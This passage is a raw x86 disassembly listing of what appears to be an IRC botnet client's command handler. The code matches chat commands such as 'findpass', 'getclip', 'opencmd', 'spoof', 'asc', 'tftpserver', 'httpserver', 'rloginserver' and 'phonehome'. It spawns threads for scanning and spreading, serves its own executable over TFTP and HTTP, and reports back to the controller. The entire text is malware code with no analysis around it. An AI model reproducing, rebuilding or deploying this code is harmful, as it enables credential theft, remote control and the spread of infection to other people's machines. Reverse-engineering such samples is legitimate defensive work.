		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978	; getsockname
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40C600
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		call	dword_427078	; GetModuleFileNameA


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset sub_412197
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		call	dword_42707C	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset sub_41144E
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


